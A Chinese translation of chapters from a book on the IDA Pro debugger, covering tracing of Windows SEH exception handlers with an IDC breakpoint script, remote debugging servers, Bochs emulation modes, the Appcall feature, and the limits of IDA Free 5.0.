图 25-10. 异常处理对话框

在此阶段,你可以选择更改 IDA 处理给定异常类型的方式(更改异常定义),将异常传递给应用程序(是),或者允许 IDA 消耗异常(否)。将异常传递给应用程序允许应用程序使用任何配置的异常处理程序来处理异常。如果你选择否,IDA 将尝试继续执行,除非你已纠正导致异常的条件,否则这很可能会失败。

当你在单步执行代码时,如果 IDA 判断你即将执行的指令将产生异常,例如 `int 3`、`icebp` 或 `popf` 指令将设置跟踪标志,就会出现特殊情况。在这种情况下,IDA 会显示如图 图 25-11 所示的对话框。

![异常确认对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854423.png.jpg)

图 25-11. 异常确认对话框

在大多数情况下,运行选项是最合适的选择,它会导致应用程序在调试器未附加时看到它期望的行为(如对话框中所述)。在处理此对话框时,你只是在确认即将生成异常。如果你选择运行,很快你就会收到异常已发生的通知,当你继续执行时,你将看到如图 图 25-10 所示的异常处理对话框,以决定如何处理异常。

确定应用程序如何处理异常需要我们知道如何跟踪异常处理程序,而这又需要我们知道如何定位异常处理程序。Ilfak 在一篇题为“跟踪异常处理程序”的博客文章中讨论了跟踪 Windows SEH 处理程序。236] 基本思想是通过遍历应用程序已安装的异常处理程序列表来定位任何有趣的异常处理程序。对于 Windows SEH 异常,这个列表的头部指针可能作为线程环境块(TEB)中的第一个 dword 找到。异常处理程序列表是一个标准的链表数据结构,它包含指向链中下一个异常处理程序的指针以及指向应该被调用来处理任何生成的异常的函数的指针。异常从列表中的一个处理程序传递到另一个处理程序,直到一个处理程序选择处理异常并通知操作系统进程可以继续正常执行。如果安装的任何异常处理程序都不选择处理当前的异常,操作系统将终止进程,或者当进程正在调试时,通知调试器在调试的进程中发生了异常。

在 IDA 调试器下,TEB(线程环境块)被映射到名为`TIB[`*`NNNNNNNN`*`]`的 IDA 数据库部分,其中*`NNNNNNNN`*是线程识别号的八位十六进制表示。以下列表显示了此类部分中第一个 dword 的一个示例:

TIB[000009E0]:7FFDF000 TIB_000009E0_ segment byte public 'DATA' use32
TIB[000009E0]:7FFDF000 assume cs:TIB_000009E0_
TIB[000009E0]:7FFDF000 ;org 7FFDF000h
TIB[000009E0]:7FFDF000 dd offset dword_22FFE0


前三行显示了关于段的摘要信息,而第四行![httpatomoreillycomsourcenostarchimages854061.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)包含了该部分的第一个 dword,表明第一个异常处理程序记录可能在地址`22FFE0h`(`off-set dword_22FFE0`)找到。如果没有为这个特定的线程安装任何异常处理程序,TEB 中的第一个 dword 将包含值`0FFFFFFFFh`,表示已达到异常处理程序链的末尾。在这个例子中,检查地址`22FFE0h`处的两个 dword 显示以下内容:

Stack[000009E0]:0022FFE0
dword_22FFE0 dd 0FFFFFFFFh ; DATA XREF: TIB[000009E0]:7FFDF000↓o
Stack[000009E0]:0022FFE4 dd offset loc_7C839AA8


第一个 dword![httpatomoreillycomsourcenostarchimages854061.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)包含值`0FFFFFFFFh`,表示这是链中的最后一个异常处理程序记录。第二个 dword![httpatomoreillycomsourcenostarchimages854063.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)包含地址`7C839AA8h`(`offset loc_7C839AA8`),表示应该调用`loc_7C839AA8`处的函数来处理在进程执行过程中可能出现的任何异常。如果我们对跟踪此进程中的任何异常处理感兴趣,我们可能从在地址`7C839AA8h`处设置断点开始。

因为遍历 SEH 链相对简单,对于调试器来说,一个有用的特性就是显示当前线程安装的 SEH 处理器的链。有了这样的显示,应该可以轻松地导航到每个 SEH 处理器,此时你可以决定是否在处理器中插入一个断点。不幸的是,这是 OllyDbg 中可用但 IDA 调试器中不可用的另一个特性。为了解决这个不足,我们开发了一个 SEH Chain 插件,当从调试器内部调用时,将显示为当前线程安装的异常处理器的列表。这个显示的例子在图 25-12 中展示。

![SEH 链显示](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854427.png.jpg)

图 25-12. SEH 链显示

此插件使用 SDK 的`choose2`函数显示一个非模态对话框,列出当前的异常处理器链。对于每个安装的异常处理器,显示异常处理器记录的地址(两个双字列表记录)和相应异常处理器的地址。双击一个异常处理器会将活动反汇编视图(IDA View-EIP 或 IDA View-ESP)跳转到 SEH 处理器函数的地址。此插件的全部目的就是简化定位异常处理器的过程。SEH Chain 插件的源代码可以在本书的网站上找到。

异常处理过程的另一方面是异常处理器如何将控制权(如果它选择这样做)返回到发生异常的应用程序。当操作系统调用异常处理器函数时,该函数被授予访问在异常发生时设置的 CPU 寄存器内容的权限。在处理异常的过程中,该函数可以选择在将控制权返回给应用程序之前修改一个或多个 CPU 寄存器的值。这个过程的目的是为异常处理器提供足够的机会修复进程的状态,以便进程可以继续正常执行。如果异常处理器确定进程应该继续执行,操作系统会收到通知,并且进程的寄存器值会通过异常处理器所做的任何修改来恢复。如第二十一章中所述,一些反逆向工程工具利用异常处理器通过修改异常处理阶段中保存的指令指针的值来改变进程的执行流程。当操作系统将控制权返回给受影响的过程时,执行从修改后的指令指针指定的地址继续。

在他关于跟踪异常的博客文章中,Ilfak 讨论了这样一个事实:Windows SEH 异常处理程序通过 `ntdll.dll` 函数 `NtContinue`(也称为 `ZwContinue`)将控制权返回给受影响的过程。由于 `NtContinue` 可以访问进程的所有保存寄存器值(通过其参数之一),因此可以通过检查 `NtContinue` 内部的保存指令指针值来确定进程将确切地在哪里恢复执行。一旦我们知道进程将恢复执行的位置,我们就可以设置一个断点,以避免执行操作系统代码,并在进程恢复执行时尽早停止它。以下步骤概述了我们需要遵循的过程:

1.  定位 `NtContinue` 并在其第一条指令上设置一个非停止断点。

1.  向此断点添加一个断点条件。

1.  当断点被触发时,通过从堆栈中读取 `CONTEXT` 指针来获取保存寄存器的地址。

1.  从 `CONTEXT` 记录中检索进程的保存指令指针值。

1.  在检索到的地址上设置断点,并允许执行继续。

使用与调试器隐藏脚本类似的过程,我们可以自动化所有这些任务,并将它们与调试会话的启动相关联。以下代码演示了在调试器中启动进程并在 `NtContinue` 上设置断点:

static main() {
auto func;
RunTo(BeginEA());
GetDebuggerEvent(WFNE_SUSP, −1);
func = LocByName("ntdll_NtContinue");
AddBpt(func);
SetBptCnd(func, "bpt_NtContinue()");
}


这段代码的目的是简单地设置一个在 `NtContinue` 入口处的条件断点。断点的行为是通过 IDC 函数 `bpt_NtContinue` 实现的,如下所示:

static bpt_NtContinue() {
auto p_ctx = Dword(ESP + 4); //get CONTEXT pointer argument
auto next_eip = Dword(p_ctx + 0xB8); //retrieve eip from CONTEXT
AddBpt(next_eip); //set a breakpoint at the new eip
SetBptCnd(next_eip, "Warning("Exception return hit") || 1");
return 0; //don't stop
}


此函数定位进程的保存寄存器上下文信息指针 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),从 `CONTEXT` 结构的偏移 `0xB8` 处检索保存的指令指针值 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png),并在该地址上设置断点 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)。为了使用户清楚地知道执行为什么停止,添加了一个始终为真的断点条件来向用户显示消息 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)。我们选择这样做是因为断点不是由用户明确设置的,用户可能不会将事件与异常处理程序的返回相关联。

这个例子代表了一种处理异常返回的简单方法。可以在断点函数 `bpt_NtContinue` 中添加更复杂的逻辑。例如,如果你怀疑异常处理程序正在操作调试寄存器的内容,可能是为了防止你设置硬件断点,你可能选择在将控制权返回给被调试的进程之前,将调试寄存器的值恢复到已知的好值。

* * *

^([236]) 查看 [`www.hexblog.com/2005/12/tracing_exception_handlers.html`](http://www.hexblog.com/2005/12/tracing_exception_handlers.html)。

# 摘要

除了在追踪软件中的错误方面的明显用途外,调试器还可以作为有效的逆向工程工具。对于恶意软件和混淆代码分析,能够利用单个应用程序进行静态和动态分析的能力可以节省宝贵的时间和生成数据所需的努力,这些数据可以用第二个工具进行分析。鉴于今天可用的调试器种类繁多,IDA 的调试器可能不是追踪应用程序运行时问题的理想选择。然而,如果您预计需要对应用程序进行任何逆向工程,或者您只是希望在调试过程中参考高质量的反汇编代码,IDA 的调试器可能很好地满足您的需求。在 第二十六章 中,我们通过介绍 IDA 调试器的更多高级功能来结束本书,包括远程调试和 Linux 以及 OS X 上的调试。

# 第二十六章. 其他调试器功能

![无标题图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854059.png.jpg)

在过去的两章中,我们已经介绍了调试器的大部分基本功能,包括脚本调试器操作,以及其在去混淆代码中的实用性。在本章中,我们通过探讨使用 IDA 进行远程调试、使用 Bochs x86 模拟器^([237]) 作为调试平台,以及 Appcall^([238]) 功能来扩展 IDA 脚本功能,包括任何使用进程及其相关库定义的函数,来完善我们对调试器的讨论。

# 使用 IDA 进行远程调试

IDA 的所有版本都配备了旨在方便远程调试会话的服务器组件。此外,IDA 能够与使用 `gdb_server` 或内置 gdb 检测棒的远程 gdb 会话进行接口。远程调试的主要优势之一是能够将 GUI 调试器界面用作任何调试会话的前端。在大多数情况下,除了初始设置和建立与远程调试服务器的连接之外,远程调试会话与本地调试会话几乎没有区别。

## 使用 Hex-Rays 调试服务器

远程调试首先在将要调试进程的计算机上启动适当的调试服务器组件。IDA 提供以下服务器组件:

| **`win32_remote.exe`** 服务器组件在 Windows 计算机上执行,用于调试 32 位 Windows 应用程序 |
| --- |
| **`win64_remotex64.exe`** 服务器组件在 64 位 Windows 计算机上执行,用于调试 64 位 Windows 应用程序(仅限 IDA Advanced) |
| **`wince_remote_arm.dll`** 服务器组件上传到 Windows CE 设备(通过 ActiveSync) |
| **`mac_server`** 在 OS X 计算机上执行的服务器组件,用于调试 32 位 OS X 应用程序 |
| **`mac_serverx64`** 在 64 位 OS X 计算机上执行的服务器组件,用于调试 64 位 OS X 应用程序(仅 IDA 高级版) |
| **`linux_server`** 在 Linux 计算机上执行的服务器组件,用于调试 32 位 Linux 应用程序 |
| **`linux_serverx64`** 在 64 位 Linux 计算机上执行的服务器组件,用于调试 64 位 Linux 应用程序(仅 IDA 高级版) |
| **`armlinux_server`** 基于 ARM 计算机执行的服务器组件,用于调试 ARM 应用程序 |
| **`android_server`** 在 Android 设备上执行的服务器组件,用于调试 Android 应用程序 |

为了在任何平台上执行远程调试,您需要在该平台上执行适当的服务器组件。不需要在远程平台上安装 IDA 的完整版本。换句话说,如果您打算使用 IDA 的 Windows 版本作为您的调试客户端,并且您希望远程调试 Linux 应用程序,除了正在调试的二进制文件外,您还需要复制并执行到 Linux 系统上的唯一文件是 *linux_server*^([239])

无论您打算在哪个平台上运行服务器,服务器组件接受三个命令行选项,如下所示:

| **`-p<`****``*`端口号`*``****`>`** 用于指定服务器监听的备用 TCP 端口。默认端口是 23946。请注意,在 `-p` 和端口号之间不应输入空格。 |
| --- |
| **`-P<`****``*`password`*``****`>`** 用于指定客户端连接到调试服务器时必须提供的密码。请注意,在 `-P` 和提供的密码之间不应输入空格。 |
| **`-v`** 将服务器置于详细模式。 |

没有选项可以限制服务器监听的 IP 地址。如果您希望限制传入的连接,您可以使用适用于您的调试平台的主机防火墙规则来实现。一旦启动了服务器,IDA 可以从任何支持的操作系统执行,并用作向调试服务器提供客户端界面的工具;然而,服务器在任何给定时间只能处理一个活动的调试会话。如果您希望维护多个同时进行的调试会话,您必须在多个不同的 TCP 端口上启动多个调试服务器实例。

从客户端的角度来看,远程调试是通过在“调试器”▸“进程选项”命令中指定服务器主机名和端口来启动的,如图 26-1 所示。此操作必须在启动或附加到您打算调试的进程之前执行。

![调试器进程选项对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854430.png.jpg)

图 26-1. 调试器进程选项对话框

此对话框中的前四个字段适用于本地和远程调试会话,而主机名、端口和密码字段仅适用于远程调试会话。此对话框的字段总结如下。

| **应用程序** 您希望调试的应用程序二进制文件的完整路径。对于本地调试会话,这是一个本地文件系统中的路径。对于远程调试会话,这是调试服务器上的路径。如果您选择不使用完整路径,远程服务器将搜索其当前工作目录。 |
| --- |
| **输入文件** 用于创建 IDA 数据库的文件的完整路径。对于本地调试会话,这是一个本地文件系统中的路径。对于远程调试会话,这是调试服务器上的路径。如果您选择不使用完整路径,远程服务器将搜索其当前工作目录。 |
| **目录** 进程应启动的工作目录。对于本地调试,此目录必须在本地文件系统中存在。对于远程调试,这是一个调试服务器上的目录。 |
| **参数** 用于指定在启动进程时传递给进程的任何命令行参数。请注意,此处不尊重 shell 元字符(如`<`, `>`, 和 `&#124;`)。任何此类字符都将作为命令行参数传递给进程。因此,无法在调试器下启动进程,并让该进程执行任何类型的输入或输出重定向。对于远程调试会话,进程输出显示在启动调试服务器的控制台。 |
| **主机名** 远程调试服务器的计算机名或 IP 地址。对于本地调试会话,请留空此字段。 |
| **端口** 远程调试服务器监听的 TCP 端口号。 |
| **密码** 远程调试服务器期望的密码。请注意,输入到此字段的数据不会被屏蔽,使得任何可以观察您显示的人都可以查看密码。此外,此密码以纯文本形式传输到远程服务器,使得任何可以拦截您的网络数据包的人都可以观察到。 |

初看起来,图 26-1 中的“应用程序”和“输入文件”字段似乎相同。当你打开在 IDA 数据库中的文件与你在远程计算机上希望运行的可执行文件相同时,这两个字段将持有相同的值。然而,在某些情况下,你可能希望调试一个在 IDA 数据库中分析库文件(如 DLL)。由于库文件不是独立的可执行文件,因此无法直接调试库文件。在这种情况下,你需要将“输入文件”字段设置为库文件的路径。而“应用程序”字段必须设置为使用你希望调试的库文件的应用程序名称。

连接到远程 gdb 服务器的步骤几乎与附加到远程 IDA 调试服务器的步骤相同,只有两个小的例外。首先,连接到`gdb_server`不需要密码,其次,IDA 允许通过调试器设置对话框中的“设置特定选项”按钮指定 gdb 特定的行为。图 26-2 显示了 GDB 配置对话框。

![GDB 配置对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854433.png.jpg)

图 26-2. GDB 配置对话框

值得注意的是,IDA 无法知道`gdb_server`运行的计算机的架构,并且你有义务指定一个处理器类型(默认为 Intel x86)以及该处理器的字节序。目前 IDA 能够为 x86、ARM、PowerPC 和 MIPS 处理器提供调试接口。

## 附加到远程进程

如果你打算连接到远程调试服务器上的运行进程,存在多种不同的场景。首先,如果你在 IDA 中没有打开数据库,你可以选择“调试器”▸“附加”并从 IDA 的可用调试器列表中选择。如果你选择 IDA 的远程调试器之一,你会看到一个配置对话框,如图 26-3 所示。

![远程调试器配置](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854436.png.jpg)

图 26-3. 远程调试器配置

一旦你提供了适当的连接参数并点击“确定”,IDA 将从远程调试服务器获取并显示进程列表,允许你选择并附加到特定的进程。

在第二种情况下,你可能已经在 IDA 中打开了一个二进制文件,并希望将其附加到远程进程。在这种情况下,你可能需要选择一个调试器(如果之前没有为打开的文件类型指定调试器)或切换调试器类型(如果当前未选择远程调试器)。一旦选择了调试器,你必须提供远程调试器服务器的主机名和密码信息,如图 图 26-1 所示,此时你可以使用调试器 ▸ 附加到进程来附加到远程进程。

## 远程调试期间的异常处理

在 第二十五章 中,我们讨论了 IDA 调试器对异常的处理以及如何修改调试器的异常处理行为。在远程调试会话期间,调试器的默认异常处理行为由客户端机器上的 *exceptions.cfg* 文件决定(即你实际运行 IDA 的机器)。这允许你通过调试器设置对话框(见图 25-4)(见 图 25-4)修改 *exceptions.cfg* 并重新加载更改,而无需访问远程服务器。

## 在远程调试期间使用脚本和插件

在远程调试会话期间,仍然可以使用脚本和插件来自动化调试任务。你选择的任何脚本或插件都将运行在客户端机器上的 IDA 中。然后 IDA 将处理与远程进程交互所需的任何操作,例如设置断点、查询状态、修改内存或恢复执行。从脚本的角度来看,所有行为都将与本地调试会话一样。唯一需要注意的是确保你的脚本和插件针对的是目标进程运行的架构,而不是 IDA 客户端运行的架构(除非它们恰好相同)。换句话说,如果你在 Linux 上以远程调试客户端的身份运行 IDA 的 Windows 版本,不要期望你的 Windows 调试器隐藏脚本能对你有所帮助。

* * *

^([237]) 查看 [`bochs.sourceforge.net/`](http://bochs.sourceforge.net/)。

^([238]) 查看 [`www.hexblog.com/?p=112`](http://www.hexblog.com/?p=112)。

^([239]) 注意,与 IDA 一起分发的 **_server* 二进制文件依赖于多个共享库。你可以使用 `ldd`(或在 OS X 上使用 `otool -L`)来列出这些依赖项。

# 使用 Bochs 进行调试

Bochs 是一个开源的 x86 模拟环境。Bochs 能够全系统模拟 x86 计算机系统,包括对常见 I/O 设备和自定义 BIOS 的模拟。Bochs 提供了基于模拟的虚拟化软件(如 VMware Workstation)的替代方案。Hex-Rays 开发团队的 Elias Bachaalany 负责将 Bochs 与 IDA 集成,以提供基于模拟的传统调试的替代方案.^([240]) Windows 版本的 IDA 附带并安装了兼容的 Bochs 版本,而希望使用 Bochs 的非 Windows 用户必须确保他们的系统上安装了 2.4.2 或更高版本的 Bochs。

安装了 Bochs 后,IDA 在打开 IDA 中的 x86 二进制文件时,会提供本地 Bochs 调试器的选择。Bochs 的可用性为在非 Windows 系统上对 Windows 应用程序进行本地调试提供了机会,因为应用程序将被模拟而不是作为本地进程执行。由于它是一个模拟器,Bochs 的配置选项与更传统的调试器有所不同。关于 Bochs,最重要的理解之一是它可以以三种不同的模式运行:磁盘镜像模式、IDB 模式和 PE 模式。模式的选取是通过 Bochs 特定的调试器配置对话框来完成的,如图图 26-4 所示。

![Bochs 调试器选项对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854439.png.jpg)

图 26-4. Bochs 调试器选项对话框

每种可用的模式在执行模拟的质量和类型方面提供了截然不同的保真度。

## Bochs IDB 模式

从底层开始工作,IDB 是 Bochs 最基本的一种模式。在 IDB 模式下,Bochs 所知晓的唯一代码就是包含在您的数据库中的代码。内存区域被映射到 Bochs 中,并通过从数据库复制字节来填充。根据 Bochs 选项对话框中的设置,提供可配置的堆栈空间,IDA 将自行决定堆栈的分配位置。如果定义了名为`ENTRY`的数据库符号,则模拟执行开始(意味着指令指针最初定位)在该符号处。如果没有`ENTRY`符号,IDA 会检查是否在打开的数据库中当前选定了某个地址范围,并使用该范围的起始点作为调试器的入口点。如果没有选择,则将当前光标位置作为初始指令指针值。在 IDB 模式下运行时,请记住,Bochs 没有关于任何操作系统支持的概念,例如共享库或典型进程地址空间内任何知名结构的定位。只要代码不引用可能存在于数据库之外的内容,就可以逐步执行 PE 文件、ELF 文件、Mach-O 文件或原始机器代码块(如漏洞载荷)。IDB 可能的一种用途是执行单个函数,以了解其行为,而不需要构建完整的进程或磁盘镜像。

## Bochs PE 模式

PE 模式提供了在接近进程级别进行调试的机会。当选择并激活 PE 模式时,IDA 的 Bochs 控制模块(一个 IDA 插件)接管并表现得就像您实际启动一个本机 Windows 进程时的 Windows 进程加载器一样。PE 模式进程接收进程(PEB)和线程(TEB)环境块,以及模拟实际进程中创建的堆栈。

Bochs 插件还会将(不执行任何代码)许多常见的 Windows 库加载到模拟进程的地址空间中,以便正确处理进程所做的任何库调用。Bochs 在调试器启动时加载的确切库集合是可配置的,并在 *<IDADIR>/plugins/bochs/startup.idc* 中指定。任何库都可以直接加载,或者指定为要模拟的。如果一个库被标记为要模拟,那么 Bochs 插件将自动挂钩该库导出的每个函数,并将执行重定向到 Bochs 拦截函数(有关更多详细信息,请参阅 *startup.idc* 和 IDA 帮助系统)。这种模拟技术为用户提供了一种可扩展的方式来定义任何库函数的自定义行为。对于任何由 IDA 模拟的库,你可以在其中定义自定义行为的相应脚本文件。对于任何库,例如 *foolib.dll*,Bochs 插件会在 *<IDADIR>/plugins/bochs* 目录中搜索一个相关的脚本,名为 *api_foolib.idc* 或 *api_foolib.py*。IDA 随带 *<IDADIR>/plugins/bochs/api_kernel32.idc*,它提供了一个此类文件结构的良好示例以及为许多函数实现自定义行为的示例。

在 PE 模式下,能够挂钩库函数和定义自定义实现非常重要,因为共享库需要执行的所有繁重工作都没有操作系统层来处理。例如,通过为像 `VirtualAlloc` 这样的函数提供一个基于脚本的替代行为,如果无法与操作系统通信则该函数会失败,可以(在一定程度上)让被模拟的过程相信它作为一个实际进程在运行。创建此类基于脚本的行为的目标是向被模拟的进程提供它在与实际库函数通信时预期会看到的响应,而这些库函数反过来又与实际操作系统通信。

如果你在一个非 Windows 平台上使用 IDA,你可以通过将所需的库(如 *startup.idc* 中指定的)从 Windows 系统复制到你的 IDA 系统上,并编辑 *startup.idc* 以指向包含所有复制库的目录,充分利用 Bochs 的 PE 模式。以下列表显示了一个示例所需的更改。

// Define additional DLL path
// (add triple slashes to enable the following lines)
/// path /home/idauser/xp_dlls/=c:\winnt\system32\


当在 Bochs 下启动一个进程时,如果你使用 PE 模式,你会注意到的一个区别是 IDA 不会打开一个警告对话框来提醒你,在调试器控制下启动可能恶意的过程的风险。这是因为唯一创建的进程是 Bochs 模拟器进程,而你正在调试的所有代码都被 Bochs 模拟器视为代表它要模拟的代码的数据。从你正在调试的二进制文件中永远不会创建任何本地进程。

## Bochs 磁盘镜像模式

Bochs 调试器的第三种操作模式被称为磁盘镜像模式。除了 IDA 能够利用 Bochs 之外,Bochs 本身也是一个完整的 x86 系统仿真器。使用 Bochs 提供的`bximage`工具创建硬盘镜像是完全可能的;使用 Bochs 和所需的操作系统安装介质在磁盘镜像上安装操作系统;最终使用 Bochs 在仿真环境中运行你的客户操作系统。

如果你使用 IDA/Bochs 的主要目标是理解单个进程的行为,那么磁盘镜像模式可能不适合你。在完全仿真的操作系统中隔离和观察单个进程的执行并不是一件容易的事情,需要详细理解操作系统以及它是如何管理和处理进程与内存的。你可能发现 IDA/Bochs 在分析系统 BIOS 和引导代码时很有用,这些代码在操作系统代码接管之前相对容易追踪。

在磁盘镜像模式下,你无法将可执行文件镜像加载到 IDA 中。相反,IDA 附带了一个识别 Bochs 配置(*boch-src*)文件的加载器.^([241)*bochsrc*文件用于描述当 Bochs 作为全系统仿真器使用时的硬件执行环境。IDA 的默认*bochsrc*文件位于*<IDADIR>/cfg/bochsrc.cfg*。除了其他用途外,*bochsrc*文件用于指定系统 BIOS、视频 ROM 和磁盘镜像文件的位置。IDA 的*bochsrc*加载器提供最基础的加载服务,仅读取正在加载的 Bochs 配置文件中指定的第一个磁盘镜像文件的第一扇区,然后选择 Bochs 调试器用于新数据库。关于在主引导记录开发场景中使用 IDA/Bochs 的讨论可以在 Hex-Rays 博客上找到.^([242))

* * *

^([240)]) 请参阅 Recon 2011 中的“设计一个最小的操作系统以在 Bochs 中仿真 32/64 位 x86 代码片段、shellcode 或恶意软件”([`www.recon.cx/`](http://www.recon.cx/))。

^([241)]) 请参阅 [`bochs.sourceforge.net/doc/docbook/user/bochsrc.html`](http://bochs.sourceforge.net/doc/docbook/user/bochsrc.html) 了解`bochsrc`文件格式的信息。

^([242]) 请参阅 [`www.hexblog.com/?p=103`](http://www.hexblog.com/?p=103)。

# Appcall

调试器的 Appcall 功能有效地扩展了 IDC 或 IDAPython 的能力,使得活动进程中的任何函数都可以从脚本中调用。这种功能有无限多的用途,包括将额外的内存映射到进程地址空间(通过调用`VirtualAlloc`或类似函数)以及将新的库注入正在调试的进程(通过调用`LoadLibrary`或调用进程内的函数以执行你更愿意手动执行的任务,例如解码数据块或计算哈希值)。

为了使用 Appcall,你希望调用的函数必须加载到正在调试的进程地址空间中,并且 IDA 必须知道或被告知函数的原型,以便正确地打包和拆包参数。你做出的任何 Appcall 都将在保存线程状态(基本上是与线程相关的所有寄存器)的上下文中进行。一旦 Appcall 完成,IDA 将恢复线程状态,调试器准备像没有发生 Appcall 一样继续执行。

让我们看看一个使用 Appcall 在当前(Windows)进程地址空间中分配 4096 字节内存块的示例。在这种情况下,我们希望调用的 Windows API 函数名为 `VirtualAlloc`,其原型如下所示:

LPVOID WINAPI VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize,
DWORD flAllocationType, DWORD flProtect);


如果我们用 C 语言编写,使用 Appcall 的调用可能看起来像以下这样:

VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);


一旦所有常量都得到解决,这个函数调用最终将转换为以下形式:

VirtualAlloc(0, 4096, 0x3000, 4);


请记住,当 Windows 进程正在调试时,IDA 会将每个库函数的名称前缀为所属库的名称。因此,当调试器处于活动状态时,`VirtualAlloc` 将被命名为 `kernel32_VirtualAlloc`,如下所示:

kernel32.dll:766B2FB6 ; ====== S U B R O U T I N E ========
kernel32.dll:766B2FB6
kernel32.dll:766B2FB6 ; Attributes: bp-based frame
kernel32.dll:766B2FB6
kernel32.dll:766B2FB6 kernel32_VirtualAlloc proc near


由于 IDA 的类型库对名为 `kernel32_VirtualAlloc` 的函数一无所知,因此不会显示类型信息。由于 Appcall 需要知道函数的类型签名,我们必须使用 `Set Function Type` 命令将信息添加到数据库中。只要我们指定的签名允许 IDA 正确地将我们的参数传递给要调用的函数,就不需要精确的类型签名。在这种情况下,我们提供以下签名:

kernel32.dll:766B2FB6 ; Attributes: bp-based frame
kernel32.dll:766B2FB6
kernel32.dll:766B2FB6 ; int __stdcall kernel32_VirtualAlloc(int, int, int, int)
kernel32.dll:766B2FB6 kernel32_VirtualAlloc proc near


到目前为止,我们已经准备好使用 Appcall 为我们的进程分配更多内存。使用 IDC,这非常简单,因为我们只需要像调用 IDC 函数一样调用该函数。在 IDA 命令行中输入函数调用并使用 `Message` 函数显示结果,将得到以下输出:

IDC>Message("%x\n", kernel32_VirtualAlloc(0, 4096, 0x3000, 4));
3c0000


在这种情况下,结果是地址 `0x3c0000` 处为进程分配了一个新的 4096 字节块。为了使新的内存块在 IDA 中显示,我们必须使用“调试器”▸“刷新内存”命令或等待 IDA 在与其他调试器操作结合时执行刷新。

在 Python 中执行 Appcall 的语法略有不同,它使用了在 `idaapi` 模块中定义的 `Appcall` 变量。然而,需要有一个具有指定类型签名的命名函数的要求仍然存在。在 Python 中执行时,对 `VirtualAlloc` 的相同 Appcall 将如下所示:

Python>Message("%x\n" % Appcall.kernel32_VirtualAlloc(0, 4096, 0x3000, 4))
3d0000


有关 Appcall 及其使用的更多信息示例,可以在 Hex-Rays 博客上找到.^([243])

* * *

^([243]) 查看 [`www.hexblog.com/?p=113`](http://www.hexblog.com/?p=113).

# 摘要

不论是通过 Hex-Rays 开发团队的努力还是通过用户贡献,IDA 的调试器持续发展。跟踪所有这些变化的最佳地点是 Hex-Rays 博客 ([`www.hexblog.com/`](http://www.hexblog.com/)),Hex-Rays 开发者经常预览即将出现在 IDA 未来版本中的新功能。跟踪用户贡献的扩展需要更多的努力。偶尔,有趣的 IDA 扩展会在 IDA 支持论坛中宣布,但你同样有可能在各个逆向工程论坛(如 [`www.openrce.org/`](http://www.openrce.org/))中看到它们,或者它们被提交到 Hex-Rays 的年度插件编写大赛中,或者在执行网络搜索时偶然发现。

IDA 的调试器功能全面且可扩展。它具备本地和远程功能,同时还能作为多个流行调试器(如 gdb 和 WinDbg)的前端,IDA 为众多流行平台提供了一个一致的调试接口。鉴于可以编写扩展脚本或构建编译后的调试器插件,调试器的功能极限不断被扩展。在当前的调试器中,IDA 的调试器可能拥有最活跃的开发活动,并得益于其所有核心开发者都是自身成就卓著的反汇编工程师这一事实,他们既在个人层面也在职业层面都对使调试器成为一个强大且实用的工具有着浓厚的兴趣。


# 附录 A. 使用 IDA 免费版 5.0

![无标题图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854059.png.jpg)

2010 年 12 月,Hex-Rays 对其免费版 IDA 进行了重大升级,从 4.9 版升级到 5.0 版。IDA 的免费版是一个功能受限的应用程序,通常落后于 IDA 的最新可用版本几代,并且比同一版本的商业版本功能少得多。因此,不仅免费版缺少 IDA 较新版本中引入的所有功能,而且其功能也比 IDA 5.0 的商业版本少。

本附录的目的是概述 IDA 免费版的功能,并指出您可能在免费版和本书中描述的 IDA 使用之间遇到的某些行为差异(本书针对的是 IDA 的最新商业版本)。在开始之前,请注意,Hex-Rays 还提供最新商业版本 IDA 的演示版本,其功能与免费版类似,但增加了额外的障碍,即无法使用 IDA 的演示版本保存工作。此外,演示版本将在随机间隔超时,如果您想继续演示,则需要重新启动(不保存工作!)。

# IDA 免费版的限制

如果您想使用 IDA 的免费版,您必须遵守(也许还要忍受)以下限制和减少的功能:

+   免费版仅限非商业用途。

+   免费版仅提供 Windows GUI 版本。

+   免费版缺少后来版本中引入的所有功能,包括在 5.1 及以后版本中引入的所有 SDK 和脚本功能。

+   启动时,将显示一个宣传最新版本 IDA 优点的帮助文件页面。您可以在后续启动中禁用此功能。

+   免费版附带的插件比商业版少得多。

+   免费版只能反汇编 x86 代码(它只有一个处理器模块)。

+   免费版仅包含八个加载模块,涵盖常见的 x86 文件类型,包括 PE、ELF、Mach-O、MS-DOS、COFF 和 a.out。也支持加载二进制格式的文件。

